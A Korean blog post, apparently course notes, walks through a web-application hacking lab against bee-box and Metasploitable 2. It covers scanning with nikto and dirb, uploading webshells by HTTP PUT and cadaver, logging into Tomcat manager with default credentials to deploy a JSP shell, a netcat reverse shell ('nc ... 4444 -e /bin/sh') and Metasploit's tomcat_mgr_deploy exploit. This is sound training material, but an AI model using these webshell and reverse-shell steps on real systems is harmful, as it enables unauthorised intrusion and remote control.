본문 바로가기
애플리케이션 보안

애플리케이션 보안 [두 번째 정리]

by 할 수 있다 ! 2024. 3. 23.

안녕하세요

 

첫 번째 시간에 이어서 애플리케이션 보안 두 번째 정리를 시작하도록 하겠습니다.

 

 

 

웹 스캔 도구 활용 

 

1. 버전 정보 노출 여부 확인 

 

2. 크롤링 작업 - 디렉터리 구조 파악 

 

3. 무작위 대입 공격 - 불필요한 파일 존재 여부, 접근 제어 미흡 디렉터리 등 

 

ex ) Nikto, OWASP ZAP, dirb 

 

 

웹 스캔 도구 활용을 하기 위해 먼저 실습 환경을 구성하도록 합니다.

 

 

 

 

칼리 리눅스 ifconfig 로 IP 주소를 확인합니다. 

 

 

 

빕 박스에서도 IP 주소를 확인합니다. 

 

 

 

NMAP 을 통해서 열려있는 포트를 확인할 수 있습니다. 

 

 

또는, dirb 로 디렉토리 구조를 점검할 수 있습니다. 장점은 속도가 너무 빠르다는 것 입니다.

 

 

wordlists 파일  /usr/share/dirb/wordlists/common.txt 디렉터리 구조를 확인하겠습니다. 

 

 

cat /usr/share/dirb/wordlists/common.txt 누르면 바로 확인할 수 있을 것 입니다. 

 

 

참고로 HTTP 상태 코드도 확인할 수 있어야 합니다. 

 

참고로 403이랑 404는 차이점이 있기 때문에 잘 알아둬야 합니다. 403 같은 경우는 디렉토리가 거부된 것인데 분명히 페이지 뒷편에 있다는 것을 있습니다. 404 같은 경우는 아예 페이지가 없다는 것 입니다. 

 

 

 

 

이번에는 http://192.168.218.134/webdav/ 를 어떤 취약점이 있는지 확인하도록 하겠습니다. 

 

 

 

 

sudo nikto -h http://192.168.218.134/webdav/ 를 입력하면 취약점을 분석한 것들을 출력해줍니다. 

 

 

 

이번에는 버프 스위트로 웹 데브라는 페이지를 인터셉트 온으로 요청 값을 받아옵니다.

 

클라이언트 (브라우저 ) - | 프록시 | ---요청 (Request) ---> 서버  다시 서버에서 클라이언트로 응답 (Response) 을 합니다.

 

GET 은 데이터를 가져오겠다는 뜻 입니다.

 

 

 

 

한번 연습으로 PUT 이라는 메소드를 사용하여서 test.txt 파일을 입력하고 마지막 줄메 test.txt file ~~ 이라고 입력하고 인터셉트 오프를 하면 됩니다. 

 

 

 

그러면 test.txt 파일이 생성된 것을 볼 수 있습니다. 

 

 

 

이번에는 test.php 파일을 넣으려고 합니다. PUT 메소드를 사용하여서 test.php 를 입력합니다. 

 

그리고 마지막 줄에 <? phpinfo(); ?> 를 넣어줍니다. 그 다음 인터셉트 오프를 하면 됩니다. 

 

 

그러면 이렇게 파일이 출력되어서 나온 것을 확인할 수 있습니다. 

 

 

이어서 locate webshell 을 입력해서 여러가지 디렉터리 파일 중에서 /usr/share/webshells/php/simple-backdoor.php 를 선택합니다. 참고로 만약에 locate webshell 를  눌렀는데 /var/lib/plocate/plocate.db: No such file or directory 이렇게 뜬다면 sudo updatedb 를 통해서 업데이트를 하고 누르면 해결이 됩니다.

 

 

 

그 다음에는 cat /usr/share/webshells/php/simple-backdoor.php 을 사용하여서 위 사진에 보이는 php 내용을 복사합니다.

 

 

그 다음에는 PUT 메소드를 사용해서 아까 복사했던 PHP 내용을 붙여넣기 하고 인터셉트 오프를 합니다. 

 

 

 

shell.php 파일을 볼 수 있는데 들어가면 아무것도 없는 페이지 입니다.

 

 

 

 

여기서 cmd = ls %20-al 를 입력하면 빕박스 시스템에 침투를 해서 웹쉘을 이용해서 시스템 명령어들을 수행한 것을 볼 수 있습니다.

 

 

 

 

 

ps%20-aux 는 현재 시스템에 동작하고 있는 프로세스 정보를 확인하는 것 입니다. 

 

 

 

이번에는 cadaver 명령어를 사용해서 취약점 공격을 해보도록 하겠습니다. 와이어 샤크를 열어 놓고 eth0 누르고

cadaver 명령어 밑에서는 put /usr/share/webshells/php/php-backdoor.php 을 입력하면 됩니다. 

 

 

 

php-backdoor.php 파일이 생성된 것을 볼 수 있습니다. 

 

 

 

 

심플 백도어는 아까 주소창에서 그냥 눌러도 상관없지만 그냥 백도어는 자세하게 입력을 해서 공격을 할 수 있습니다. 

 

 

http 를 입력하면 공격했던 내용들을 볼 수 있습니다. 

 

 

 

TCP 스트림을 누르면 요청하고 응답하는 것도 볼 수 있습니다. 

 

 

 

 

밑으로 내려가서 확인하면 PUT 메서드를 사용해서 공격했던 내용들을 확인할 수 있습니다. 

 

 

 

 

 

이번에는 메타스플로이트 2를 열어놓고 nmap 도구를 활용해서 -sV 누르고 버전을 확인합니다. http 포트가 열려있는 것을 확인 할 수 있습니다.

 

 

8180 포트를 입력하면 톰캣 사이트로 이동합니다. 

 

 

 

 

dirb 명령어를 입력해서 어떠한 스캐닝이 나오는지 확인합니다. 

 

 

 

 

스캐닝 하는 동안 한번 톰캣 페이지 manager 이라는 페이지로 이동해서 아이디 비밀번호를 한번 찾아보도록 하겠습니다. 

 

 

칼리 리눅스 바로 nikto -h 명령어를 사용하면 알 수 있습니다. 

 

 

 

ID 'tomcat', PW 'tomcat' 를 확인할 수 있습니다. 

 

 

 

이렇게 로그인을 할 수 있습니다. 

 

 

test.war 파일을 파일에 선택해서 업로드 합니다. 

 

 

 

test 파일을 생성한 것을 볼 수 있습니다. 

 

 

test 파일로 접속해서 들어가면 404 라고 페이지가 없다고 뜨는 것을 볼 수 있습니다. 

 

 

그런데 주소창 뒤에다가 shell.jsp 를 추가해서 입력하면 페이지가 뜨는 것을 확인할 수 있습니다. 

 

 

런치 커멘트로 들어가서 ls -al 명령어를 입력하면 이렇게 출력 결과를 가져오는 것도 확인할 수 있어요.

 

이제부터 내부 침투를 하려고 합니다. 공격자 (port 열람) ------> bind attack -------> 방화벽 -------> 서버 ( 사용자 ) 

 

bind attack 는 제한적인 공격을 할 수 있습니다. 여기서 서버 ( 사용자 ) 가 반대로 공격을 하는 것은 reverse attack (connection) 입니다. 방화벽 우회 공격을 리버스 커넥션이라고 보면 됩니다. 

 

 

 

칼리 리눅스에서 nc -lvp 4444 를 입력합니다. 그 다음 리눅스 주소를 확인합니다. 지금 상황은 현재 침투했던 곳에서 명령어를 수행하는 과정입니다. 공격자 서버를 구축했으니까 공격하라는 것 입니다. 참고로 nc 는 소켓 프로그램입니다. 

 

 

런치에서 nc 4444 포트를 입력하고 -e /bin/sh 를 입력합니다. sh라는 것은 쉘 입니다. 쉘 권한은 윈도우즈에서 어떤 말이면 cmd 권한하고 똑같습니다. 한마디로 윈도우 명령어 권한들을 준다는 소리입니다. 파일을 준다는 것은 파일을 이용하게 해주겠다는 것 입니다. 

 

 

 

 

여기서 런치했는데 아무것도 수행하지 않으면 끊깁니다.

 

 

다시 런치 ! 그러면 ls - al 여러가지 명령어들을 입력하면 칼리 리눅스에서 뜹니다. 

 

하지만 실무에서는 nc 를 활용해서 공격하는 경우는 없다고 보시면 됩니다. 그렇다면 비슷하게 기능들을 가지고 있는 것이 있습니다. 바로 Telnet 입니다. Telnet 도 네트워크 프로그램 입니다. 텔넷은 2개 포트를 열어놓고 접속하는 포트 하나를 열어놓고 명령어를 수행하면 다른 포트에 있는 텔넷 명령어를 통해서 다른 포트에게 결과 값을 전달하는 수행을 합니다. 

 

 

 

이번에는 메타스플로이트 기반으로 실습을 하려고 합니다. 

 

msfconsole 을 준비합니다.

 

여기서 잠깐 원데이 공격이랑 제로 데이 공격에 대해 간단하게 얘기하겠습니다.

 

원 데이 공격은 보안 취약점이 직후 또는 그 전날에 공격이 시작되는 것을 의미합니다. 공격자들은 공격에 사용될 수 있는 새로운 취약점을 찾으면서 보안 전문가들이 아직 대응책을 마련하지 못한 동안 공격을 진행합니다. 이것은 공격이 발생한 직후에도 시스템이나 네트워크에 대한 보호가 제대로 이루어 지지 않은 경우에 주로 발생합니다.

 

제로 데이 공격은 보안 취약점이 발견되고 이것을 악용하여 공격이 발생하는 과정을 설명합니다. "제로 데이" 란 취약점이 발견된 날로부터 보안 업체나 소프트웨어 제공 업체가 이것을 고치기까지의 시간을 가리킵니다. 따라서 이 취약점이 발견되는 그 날을 " 제로 데이 " 라고 부릅니다. 제로 데이 공격은 보통 취약점이 발견되자마자 공격자들이 이것을 이용해서 시스템이나 소프트웨어를 공격합니다. 이러한 공격은 보통 공격자가 취약점을 발견하는 것과 동시에 발생하므로 대응하기가 매우 어렵습니다. 

 

 

 

 

톰캣 서치를 클릭해서 무엇을 사용할지 확인합니다. 

 

 

톰캣 27번을 선택했습니다. 그리고 show options 를 사용해서 옵션을 확인합니다. 

 

RHOSTS 에는 yes 가 되어 있는데 내용이 없는 것을 확인할 수 있습니다. 

RHOSTS 와 RPORT 의 내용을 바꾸면 됩니다. 

 

 

set RHOSTS 로 톰캣 페이지 주소를 선택합니다. 그리고 set RPORT 를 가지고 8180 을 입력합니다.

그런 다음 set STOP_ ON_SUCCESS true 왜 이 명령어를 사용하면 공격이 성공하면 정지하려고 하기 때문에

이 명령어를 사용합니다. 그리고 exploit 로 공격을 실행합니다. 

 

 

 

그런 다음 다시 톰캣 서치를 사용해서 use exploit/multi/http/tomcat_mgr_deploy 을 클릭합니다. 

 

 

show options 를 클릭해서 다시 내용들을 확인합니다. 

 

 

 

HttpPassword, HttpUsername, RHOST 까지 내용을 입력해서 지정합니다. 

 

 

그리고 exploit 를 클릭하면 바로 공격이 됩니다. 

 

이렇게 해서 시스템 내부에 침투하는 실습을 했습니다.